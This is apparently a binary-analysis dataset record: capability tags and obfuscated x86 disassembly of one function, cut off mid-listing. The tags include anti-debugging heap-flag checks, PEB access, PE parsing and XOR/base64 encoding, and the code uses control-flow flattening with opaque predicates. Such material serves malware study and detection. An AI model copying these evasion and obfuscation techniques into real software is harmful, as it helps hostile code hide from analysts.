Function at 0x402000
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1d8
mov eax, dword [0x492240]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2c11d66d
and eax, 0x45009099
mov esi, edx
and esi, 0xd3ee2992
or edx, 0xa0040440
or ecx, esi
and edx, 0xb26f6762
mov esi, ecx
xor ecx, 0x80040000
xor esi, 0x8100004
or eax, edx
or ecx, 0x126b6322
and esi, 0x8900804
and ecx, 0xb26f6762
or esi, ecx
mov ecx, dword [0x493580]
xor eax, esi
mov edx, eax
not edx
and eax, 0xa8c54864
and edx, 0x573ab79b
or eax, edx
mov edx, eax
mov esi, eax
xor eax, 0xffaebbde
xor edx, 0x514420
xor esi, 0x514421
and esi, edx
and eax, 0xfffffffe
and edx, 1
or edx, eax
or edx, esi
mov eax, edx
not eax
mov esi, edx
and esi, 0x85c0e050
and eax, 0x7a3f1faf
or eax, esi
xor eax, 0x7a3f1faf
or eax, edx
cmp eax, 0xffffffff
mov eax, 0xf240a798
sete byte [ebp - 0x99]
cmp ecx, 0xa
setl byte [ebp - 0x9a]
jmp 0x4021f0
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xac]
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xed15f19b
and edx, 0x12ea0e64
or edx, esi
mov esi, ecx
not esi
and ecx, 0x12ea0e64
or eax, esi
and esi, 0xed15f19b
or ecx, esi
not eax
mov esi, 0x2f60cb05
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xee0493de
and edx, 0xfffffffe
and ecx, 0x11fb6c21
or eax, ecx
xor eax, 0xee0493df
or eax, edx
mov edx, eax
xor edx, 0x89ae2c6b
mov ecx, eax
and ecx, 0x1260422
and edx, eax
not eax
and eax, 0x88882849
or ecx, eax
xor ecx, 0x1260422
or ecx, edx
not edx
and edx, 0x7651d394
and ecx, 0x89ae2c6b
or ecx, edx
setne cl
cmp dword [0x493580], 0xa
mov edx, ecx
setge al
setl ah
inc dl
and dl, al
or al, cl
and ah, cl
mov ecx, eax
or dl, ah
xor cl, 1
and al, cl
mov ah, cl
xor al, 1
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ah, cl
or cl, dl
xor al, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x68873a26
cmovne ecx, esi
test al, 1
not dl
mov eax, 0x68873a26
cmovne ecx, esi
test dl, 1
cmove ecx, eax
mov eax, ecx
nop word cs:[eax + eax]
cmp eax, 0xf9f98419
jle 0x402390
cmp eax, 0x3b797819
jle 0x402430
cmp eax, 0x55eba76a
jle 0x4026ef
cmp eax, 0x68873a25
jle 0x402ae0
cmp eax, 0x6fce8ca8
jle 0x40311b
cmp eax, 0x78a55320
jg 0x403ead
cmp eax, 0x71f87539
jle 0x40584b
cmp eax, 0x75c15a37
jg 0x408405
cmp eax, 0x71f8753a
je 0x409f55
cmp eax, 0x7269b9fa
jne 0x4021f0
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x21338002
mov esi, ecx
and esi, 0x40801084
and ecx, 0xde51036b
or edx, esi
mov esi, edx
xor esi, 0x20310000
xor edx, 0xdecc7ffd
mov edi, edx
and edi, 0x4fc2f74e
and esi, 0x20310080
or esi, edi
mov edi, eax
xor edi, 0x61b39086
and edi, eax
and eax, 0x21aefc94
mov ebx, edi
not ebx
and edi, 0xb03d08b1
or eax, ecx
or edx, ebx
and ebx, 0x4fc2f74e
xor eax, 0x21aefc94
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x83726a47
and esi, 0x7c8d95b8
or edx, esi
mov esi, edx
xor esi, 0x4201eac0
xor edx, 0x10040032
and edx, 0xb0c41032
and esi, 0x4f3befcd
or esi, edx
xor esi, 0x4f3befcd
or eax, esi
mov esi, 0xa219113d
xor eax, 0xffffffff
sete ch
setne ah
cmp dword [0x493580], 0xa
setge dl
mov al, dl
xor al, ah
mov cl, al
and cl, ch
or ch, dl
or dl, ah
xor dl, 1
xor cl, 1
or dl, al
xor al, 1
mov dh, cl
or cl, ch
mov ah, al
or al, dl
xor dh, ch
xor cl, 1
xor ah, dl
xor al, 1
or cl, dh
or al, ah
mov ah, cl
mov edx, eax
and ah, al
xor dl, 1
mov ch, dl
or dl, cl
xor cl, 1
and ch, cl
xor cl, al
xor dl, 1
or dl, cl
or ah, ch
mov ecx, 0xabe2df27
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0xabe2df27
jmp 0x4021e0
cmp eax, 0xb958232f
jle 0x4024a0
cmp eax, 0xdcd4c89e
jg 0x40284d
cmp eax, 0xcbfcd50f
jle 0x402c52
cmp eax, 0xd3e3e069
jle 0x40315c
cmp eax, 0xd797abaf
jle 0x403ee3
cmp eax, 0xdab2b483
jle 0x40594a
cmp eax, 0xdb0938bb
jg 0x408529
cmp eax, 0xdab2b484
je 0x409f68
cmp eax, 0xdaec6290
jne 0x4021f0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x130], eax
mov eax, 0x71d93386
jmp 0x4021f0
cmp eax, 0x1f374592
jg 0x402974
cmp eax, 0xd000c92
jg 0x402cad
cmp eax, 0x64b0dfa
jg 0x403277
cmp eax, 0x2bfa946
jle 0x403f19
cmp eax, 0x412a232
jle 0x40597b
cmp eax, 0x5fe9bfc
jg 0x4085d6
cmp eax, 0x412a233
je 0x409f78
cmp eax, 0x593e470
jne 0x4021f0
mov eax, 0x3b79781a
jmp 0x4021f0
cmp eax, 0x9c6e50c3
jg 0x402a80
cmp eax, 0x8d523bdd
jg 0x402e09
cmp eax, 0x872ec8c8
jg 0x40345f
cmp eax, 0x84586f45
jle 0x403f58
cmp eax, 0x85c9cac6
jle 0x4059c4
cmp eax, 0x865df561
jg 0x4085f6
cmp eax, 0x85c9cac7
je 0x409f8c
cmp eax, 0x865276f9
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xceef85eb
mov esi, ecx
or esi, 0x30006200
and eax, ecx
and esi, 0x36ed666a
and edx, 0xc8028181
or edx, esi
mov esi, eax
not esi
and eax, 0xc9129995
or ecx, esi
and esi, 0x36ed666a
or eax, esi
not ecx
xor eax, edx
or ecx, eax
not eax
and eax, 0x31107a14
and ecx, 0xceef85eb
or ecx, eax
mov eax, ecx
xor eax, 0xc53b08f9
mov edx, ecx
not edx
andn esi, ecx, eax
mov eax, ecx
and eax, 0x3ac4f706
and ecx, 0x673cead6
or eax, esi
mov esi, eax
not esi
and eax, 0x766a55d6
and esi, 0x8995aa29
or eax, esi
mov esi, edx
and esi, 0x98c31529
and edx, 1
or esi, ecx
mov ecx, eax
xor ecx, 0x92501902
xor eax, 0x4caea2d1
xor esi, 0x673cead7
and ecx, 0xd2523b83
or edx, esi
mov esi, edx
not esi
and edx, 0xf11d0ebc
and esi, 0xee2f143
or edx, esi
mov esi, eax
and esi, 0x2dadc47c
mov edi, edx
xor edi, 0xd0100a80
xor edx, 0xee2f143
or ecx, esi
or eax, edx
and edx, 0x2dadc47c
and edi, 0xd2523b83
or edi, edx
not eax
xor edi, ecx
or eax, edi
mov ecx, eax
not ecx
and eax, 0x1165bb8
and ecx, 0xfee9a447
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfa95c80d
and ecx, 0x56a37f2
or eax, ecx
mov ecx, eax
xor ecx, 0x4404800
xor eax, 0x32030104
and ecx, 0xcdc0dab1
and eax, 0x323f254e
or eax, ecx
mov ecx, eax
xor ecx, 0x8c008020
xor eax, 0x3001200c
and eax, 0x71c17a9d
and ecx, 0x8e3e8562
or ecx, eax
xor ecx, 0x8e3e8562
sete ah
setne dl
cmp dword [0x493580], 0xa
setge cl
mov ch, cl
mov dh, cl
inc ch
and dh, ch
xor dh, 1
or dh, ch
xor dh, 1
or dh, cl
and cl, ah
mov al, dh
xor al, dl
mov ebx, eax
and al, dh
and bl, dl
and dl, ch
or ch, ah
xor ch, 1
or cl, dl
mov dh, bl
xor bl, al
xor al, 1
or cl, ch
xor dh, 1
mov dl, cl
mov ah, cl
or al, dh
xor dl, 1
xor al, 1
and dl, cl
or al, bl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
and al, cl
mov ah, dl
mov ebx, edx
xor al, 1
xor ah, 1
mov ch, al
or al, cl
and bl, ah
xor ch, cl
xor al, 1
or cl, ah
xor bl, 1
or al, ch
or bl, ah
xor bl, 1
or bl, dl
mov edx, 0x6fb3253a
xor bl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xc6096bed
cmovne eax, edx
test cl, 1
mov edx, 0xc6096bed
cmovne edx, eax
test bl, 1
jmp 0x412e2d
cmp eax, 0x4896213a
jg 0x402fd3
cmp eax, 0x42ccbbd2
jg 0x4034a0
cmp eax, 0x3f37940a
jle 0x404097
cmp eax, 0x3faf496d
jle 0x4059f2
cmp eax, 0x417020a1
jg 0x408625
cmp eax, 0x3faf496e
je 0x40a083
cmp eax, 0x40a1d00f
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xb47e4acf
mov edx, eax
not edx
and ecx, eax
or eax, 0x4b81b530
and edx, 0x41e4a4b
mov esi, eax
and esi, 0xf2603094
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd9fcf6b
or eax, esi
and esi, 0xf2603094
or ecx, esi
not eax
mov esi, 0xa96b9ac1
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd72dfab2
and ecx, 0x28d2054d
or eax, ecx
mov ecx, eax
xor eax, 0x80840302
xor ecx, 0x6353b07d
mov edx, ecx
and eax, 0xc385830a
and ecx, 0x3c7a7cf5
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0x3c7a7cf4
or ecx, edx
mov edx, ecx
xor edx, 0xf47db737
mov eax, ecx
and eax, 0xc0100304
and edx, ecx
not ecx
and ecx, 0x346db433
or eax, ecx
xor eax, 0xc0100304
or eax, edx
not edx
and edx, 0xb8248c8
and eax, 0xf47db737
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe0c97f41
and ecx, 0x1f3680be
or eax, ecx
cmp eax, 0x1f3680be
setne al
cmp dword [0x493580], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
mov edx, ecx
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xc075ef4b
cmovne ecx, esi
test al, al
mov esi, 0xc075ef4b
jmp 0x405216
cmp eax, 0xed5c5b88
jg 0x40302e
cmp eax, 0xe351e6e0
jg 0x4034e1
cmp eax, 0xdf5e2d90
jle 0x4040cd
cmp eax, 0xe1585f70
jle 0x405a23
cmp eax, 0xe21a1cd9
jg 0x408648
cmp eax, 0xe1585f71
je 0x40a09f
cmp eax, 0xe1fc0b22
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
not ecx
and edx, eax
or eax, 1
mov esi, ecx
and esi, 0x326a861a
mov edi, eax
and edi, 0xcd9579e4
or esi, edi
mov edi, edx
not edi
and edx, 0x326a861b
or eax, edi
and edi, 0xcd9579e4
or edx, edi
not eax
mov edi, 0x359c5901
xor edx, esi
mov esi, 0xac9e0cbe
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x85b80709
and ecx, 0x7a47f8f6
or eax, ecx
xor eax, 0x85b80709
setne cl
sete ah
cmp dword [0x493580], 0xa
setge dh
setl ch
mov dl, dh
mov al, ch
xor dl, ah
and al, cl
and ah, dh
xor cl, ch
and dl, dh
or al, ah
xor dl, 1
xor al, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
xor dl, 1
mov ecx, edx
xor cl, al
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x359c5901
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x4021f0
cmp eax, 0x2ed14876
jg 0x403083
cmp eax, 0x263cffda
jg 0x403522
cmp eax, 0x21591d42
jle 0x404103
cmp eax, 0x2423eb8d
jle 0x405b6d
cmp eax, 0x250d2662
jg 0x408668
cmp eax, 0x2423eb8e
je 0x40a0a9
cmp eax, 0x242b47b8
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x57e3dda8
and eax, 0xa81c2257
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x443e82ac
mov esi, edx
and esi, 0xbbc17d53
or ecx, esi
mov esi, eax
xor esi, 0x1c0204
xor eax, 0x13c15d00
and eax, 0xbbc17d53
and esi, 0x443e82ac
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xb46270d8
sete ch
setne ah
cmp dword [0x493580], 0xa
mov al, ch
setl cl
setge dl
and ch, dl
and cl, ah
xor al, dl
or cl, ch
mov ch, dl
or dl, ah
xor al, 1
xor ch, ah
xor dl, 1
xor cl, 1
or dl, ch
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xe390e807
cmovne edx, esi
test cl, 1
mov ecx, 0xe390e807
cmovne ecx, edx
jmp 0x4098b4
cmp eax, 0xa8ff4f9e
jg 0x4030cf
cmp eax, 0xa191b6e4
jg 0x40362e
cmp eax, 0x9d7e4fd3
jle 0x4041d9
cmp eax, 0x9fe288bd
jle 0x405b9e
cmp eax, 0xa1192a4c
jg 0x4087e5
cmp eax, 0x9fe288be
je 0x40a1e8
cmp eax, 0xa0a4b1cb
jne 0x4021f0
mov eax, dword [ebp - 0x74]
mov dword [eax], 0x40
mov eax, 0x3a5c11a2
jmp 0x4021f0
cmp eax, 0x5e8a05c1
jg 0x40366f
cmp eax, 0x59b12aec
jle 0x404221
cmp eax, 0x5b7a1188
jle 0x405bcc
cmp eax, 0x5bcd1893
jg 0x408805
cmp eax, 0x5b7a1189
je 0x40a1f2
cmp eax, 0x5bbd43f9
jne 0x4021f0
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x493584]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xc4b6ebe
and ecx, 0xf3b49141
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xf3b49141
xor ecx, 0xc4b6ebe
xor eax, 0x8e5e4e3a
mov esi, edx
and eax, ecx
and esi, 0x82152084
or edx, 1
and ecx, 0xf5320dbe
or eax, esi
mov esi, eax
not esi
and eax, 0xcc178d75
and esi, 0x33e8728a
or eax, esi
mov esi, eax
xor esi, 0x44020db0
xor eax, 0xb1fd520f
mov edi, eax
or eax, edx
and edx, 0xacdf240
and edi, 0xacdf240
and esi, 0xf5320dbf
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x5c3efbf0
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x40a40008
and eax, 0x1740e9f7
and ecx, 0xa81b1600
or edx, ecx
xor edx, 0x40a40008
or eax, edx
mov ecx, eax
not ecx
and eax, 0x3e057db0
and ecx, 0xc1fa824f
or eax, ecx
mov ecx, eax
xor ecx, 0x80320130
xor eax, 0x21051444
and ecx, 0x88728133
and eax, 0x778d7ecc
or eax, ecx
xor eax, 0x778d7ecc
setne dl
sete ah
cmp dword [0x493580], 0xa
setge cl
setl al
and dl, al
or al, ah
and cl, ah
or cl, dl
xor al, 1
or al, cl
mov ch, cl
mov edx, eax
xor ch, 1
not dl
and dl, ch
or ch, al
and al, cl
or al, dl
mov cl, ch
mov edx, 0xd000c93
xor cl, al
test al, al
mov eax, 0xd000c93
cmovne eax, esi
test ch, ch
jmp 0x413826
cmp eax, 0xc20b523a
jg 0x40383a
cmp eax, 0xc066e3f6
jle 0x404285
cmp eax, 0xc16af78f
jle 0x405d0c
cmp eax, 0xc1dc1d69
jg 0x408825
cmp eax, 0xc16af790
je 0x40a2d9
cmp eax, 0xc18e3dfa
jne 0x4021f0
cmp dword [ebp - 0x1c0], 0
mov eax, 0xcf3653ce
mov ecx, 0x51d2648b
cmovns eax, ecx
jmp 0x4021f0
cmp eax, 0x15710ad1
jg 0x40387b
cmp eax, 0x10e02798
jle 0x4042bb
cmp eax, 0x13443328
jle 0x405e11
cmp eax, 0x141faffc
jg 0x408aba
cmp eax, 0x13443329
je 0x40a2e3
cmp eax, 0x13aa49f6
jne 0x4021f0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, dword [0x493584]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x9fe51b17
and eax, 0x601ae4e8
or esi, eax
mov ecx, esi
mov edx, esi
xor ecx, 0x9fe51b17
xor edx, 0x601ae4e8
xor esi, 0xe0ed1223
mov eax, ecx
and esi, edx
and eax, 0x80f7f6cb
or edx, 1
and ecx, 0x2db56a52
or eax, esi
mov esi, eax
not esi
and eax, 0x9940fa6
and esi, 0xf66bf059
or eax, esi
mov esi, eax
xor esi, 0x24940213
xor eax, 0x8963f96c
mov edi, eax
or eax, edx
and edx, 0xd24a95ac
and edi, 0xd24a95ac
and esi, 0x2db56a53
or esi, edi
or ecx, edx
not eax
mov edi, 0xb45e733f
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x9a2204a0
and eax, 0x20880042
mov edx, ecx
or edx, 0x4ab11
and esi, 0x9a26afb1
and ecx, 0x4551500c
and edx, 0x9a26afb1
or ecx, esi
mov esi, 0xae4730d5
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x4555fb1d
and ecx, 0xbaaa04e2
or eax, ecx
sete dl
cmp dword [0x493580], 0xa
setl cl
mov eax, ecx
or cl, dl
xor al, dl
xor cl, 1
or cl, al
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
or cl, ah
and ah, dl
or ah, al
mov dl, ah
xor dl, cl
test ah, ah
mov eax, 0xb45e733f
cmovne eax, esi
test cl, cl
cmovne eax, edi
jmp 0x4039ae
cmp eax, 0x94b47f99
jg 0x4039b8
cmp eax, 0x91475368
jle 0x404422
cmp eax, 0x92e65da1
jle 0x405e3c
cmp eax, 0x93c5e31f
jg 0x408ada
cmp eax, 0x92e65da2
je 0x40a2ed
cmp eax, 0x937f61b9
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x1710bb38
and ecx, 0xe8ef44c7
or eax, ecx
mov ecx, eax
xor ecx, 0x1210a338
xor eax, 0x28814000
and eax, 0x2d815800
and ecx, 0xd27ea7ff
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x521ca054
xor edx, 0x2d815800
xor ecx, 0x8ed1f868
and ecx, edx
and eax, 0x531db854
and edx, 0xace247ab
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0xace247ab
xor esi, 0xf04d183c
xor edx, 0x42100814
and esi, eax
and edx, 0xce9249b7
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x4e24080c
and esi, 0xb1dbf7f3
or ecx, esi
mov esi, eax
and esi, 0x316db648
and eax, 1
or esi, edx
xor ecx, 0xed74a865
xor esi, 0xce9249b6
or eax, esi
not eax
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x8b031fc7
and edx, 0x74fce038
or edx, esi
mov esi, ecx
not esi
and ecx, 0x74fce038
or eax, esi
and esi, 0x8b031fc7
or ecx, esi
not eax
mov esi, 0xa219113d
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8d8489c8
mov edx, ecx
and edx, 0x727b7637
or eax, edx
xor eax, 0x8d8489c8
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dh
cmp dword [0x493580], 0xa
mov ch, ah
setge cl
setl dl
xor ch, cl
xor dl, dh
or dh, cl
mov al, ch
and al, cl
or cl, ah
xor cl, 1
xor al, 1
or cl, ch
mov ebx, eax
or al, dh
xor cl, 1
xor bl, dh
xor al, 1
or cl, dl
or al, bl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov ecx, edx
xor ah, 1
xor cl, 1
and ah, dl
and cl, al
or cl, ah
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x7269b9fa
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0x7269b9fa
jmp 0x412e2d
cmp eax, 0x50beef37
jg 0x403ac2
cmp eax, 0x4af48ffa
jle 0x404586
cmp eax, 0x4e3424a1
jle 0x405f36
cmp eax, 0x50255b9d
jg 0x408b00
cmp eax, 0x4e3424a2
je 0x40a42c
cmp eax, 0x4f8304d7
jne 0x4021f0
cmp dword [ebp - 0x1c4], 0
mov eax, 0x5802174e
mov ecx, 0x54da8011
cmove eax, ecx
jmp 0x4021f0
cmp eax, 0xf240a797
jg 0x403bc2
cmp eax, 0xef22fcab
jle 0x4045bc
cmp eax, 0xf068f017
jle 0x406049
cmp eax, 0xf13ef390
jg 0x408b3e
cmp eax, 0xf068f018
je 0x40a44f
cmp eax, 0xf10d7718
jne 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xd
mov eax, 0x9f40d300
jmp 0x4021f0
cmp eax, 0x359c5900
jg 0x403d01
cmp eax, 0x33f140e9
jle 0x404624
cmp eax, 0x349fbfc7
jle 0x406074
cmp eax, 0x352ad54d
jg 0x408c96
cmp eax, 0x349fbfc8
je 0x40a46d
cmp eax, 0x34da4b37
jne 0x4021f0
mov eax, 0x75de2f24
jmp 0x4021f0
cmp eax, 0xb0c040e2
jg 0x403e6c
cmp eax, 0xabf55956
jle 0x4047fa
cmp eax, 0xad6d8302
jle 0x40609f
cmp eax, 0xb0404c57
jg 0x408ccf
cmp eax, 0xad6d8303
je 0x40a477
cmp eax, 0xae4730d5
jne 0x4021f0
mov eax, 0x450c9928
jmp 0x4021f0
cmp eax, 0x6b0c585b
jle 0x404830
cmp eax, 0x6e4dd87c
jle 0x4060ee
cmp eax, 0x6ef147c6
jg 0x408d2c
cmp eax, 0x6e4dd87d
je 0x40a484
cmp eax, 0x6e8d8678
jne 0x4021f0
mov eax, 0xf1cf8211
jmp 0x4021f0
cmp eax, 0xcf3653cd
jle 0x404978
cmp eax, 0xd11e094a
jle 0x4062f2
cmp eax, 0xd3cd3e1b
jg 0x408d4c
cmp eax, 0xd11e094b
je 0x40a48e
cmp eax, 0xd1a9f6a2
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x480b9a04
mov esi, edx
and esi, 0xb7f465fa
and edx, 0xfa31d6cf
or ecx, esi
mov esi, ecx
xor esi, 0x48038004
xor ecx, 0xb7f465fb
mov edi, ecx
and edi, 0x85a87ea9
and esi, 0x7a578156
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x5ce2930
mov ebx, edi
not ebx
and edi, 0x7a578156
or eax, edx
or ecx, ebx
and ebx, 0x85a87ea9
xor eax, 0x5ce2930
or edi, ebx
not ecx
mov ebx, 0xdea7269d
xor edi, esi
mov esi, 0xdea7269d
or ecx, edi
mov edi, 0xdd4fa160
not ecx
or eax, ecx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x493580], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
and al, ah
xor dl, 1
or dh, cl
xor al, 1
mov ah, dl
mov cl, dh
xor ah, al
or al, dl
xor cl, ch
xor al, 1
and cl, dh
or al, ah
xor al, cl
mov edx, eax
test al, 1
not dl
cmovne esi, edi
test dl, cl
cmove esi, ebx
test al, 1
cmovne esi, edi
test dl, cl
cmovne esi, edi
mov eax, esi
jmp 0x4021f0
cmp eax, 0xaf87c93
jle 0x4049ae
cmp eax, 0xc6e813a
jle 0x406401
cmp eax, 0xcf6e6ec
jg 0x408d6c
cmp eax, 0xc6e813b
je 0x40a568
cmp eax, 0xc8ac6d1
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0x97b48ccf
mov esi, ecx
not esi
and edx, 0x684b7330
and ecx, 0x684b7330
or eax, esi
and esi, 0x97b48ccf
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x678267cb
and eax, 0x8002008
mov esi, edx
and esi, 0x987d9834
or edx, 0x6b01190
or ecx, esi
and edx, 0x67ff9fb5
mov edi, ecx
xor edi, 0x301010
mov esi, ecx
xor esi, 0x4042
or eax, edx
mov edx, ecx
xor edx, 0x6600024a
xor ecx, 0x18440010
or edi, 0x614f8e25
and esi, 0x90004042
or edx, 1
and ecx, 0x19c66590
and edi, 0x67ff9fb5
and edx, 0xe6399a6f
or esi, edi
or edx, ecx
xor eax, esi
mov esi, eax
not esi
and eax, 0x67d784d9
and esi, 0x98287b26
or eax, esi
mov esi, eax
xor esi, 0x8007d10a
xor eax, 0xe982af5
mov ecx, eax
and ecx, 0x75f00c55
and esi, 0x8a0ff3aa
or esi, ecx
mov ecx, edx
xor ecx, 0x8209922a
xor edx, 0x19c66590
or eax, edx
and edx, 0x75f00c55
and ecx, 0x8a0ff3aa
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xd71ec003
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x66d95d33
and ecx, 0x9926a2cc
or eax, ecx
mov ecx, eax
xor ecx, 0x4894811
xor eax, 0x89028008
and eax, 0xeb52952a
and ecx, 0x14ad6ad5
or ecx, eax
mov eax, ecx
xor eax, 0x401528
xor ecx, 0x14ad6ad5
mov edx, ecx
and edx, 0xeb3bca03
and eax, 0x14c435fc
or eax, edx
xor eax, 0xeb3bca03
xor ecx, eax
test ecx, eax
setne dl
sete al
cmp dword [0x493580], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x1f4afb42
mov al, ah
xor al, dl
test dl, 1
mov edx, 0x1f4afb42
cmovne ecx, esi
test ah, ah
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x4021f0
cmp eax, 0x89b7bb1c
jle 0x404aae
cmp eax, 0x8b22a333
jle 0x406438
cmp eax, 0x8ba40414
jg 0x408ed4
cmp eax, 0x8b22a334
je 0x40a575
cmp eax, 0x8b3e8efa
jne 0x4021f0
mov eax, 0x9d8ae1e5
jmp 0x4021f0
cmp eax, 0x45b514e6
jle 0x404b48
cmp eax, 0x46ba8b22
jle 0x4065ae
cmp eax, 0x4786c504
jg 0x4090d6
cmp eax, 0x46ba8b23
je 0x40a76a
cmp eax, 0x46c2cb28
jne 0x4021f0
mov eax, 0x97c7e26d
jmp 0x4021f0
cmp eax, 0xe733ff63
jle 0x404d1f
cmp eax, 0xea30c9b0
jle 0x406713
cmp eax, 0xeb40c682
jg 0x409105
cmp eax, 0xea30c9b1
je 0x40a838
cmp eax, 0xeaa85436
jne 0x4021f0
mov eax, 0x6a8f040f
jmp 0x4021f0
cmp eax, 0x28dda7a7
jle 0x404d55
cmp eax, 0x2cbdbd80
jle 0x40673e
cmp eax, 0x2d9de870
jg 0x4091e1
cmp eax, 0x2cbdbd81
je 0x40a85d
cmp eax, 0x2d5aefd8
jne 0x4021f0
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x124], eax
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xfffffffe
not ecx
mov esi, ecx
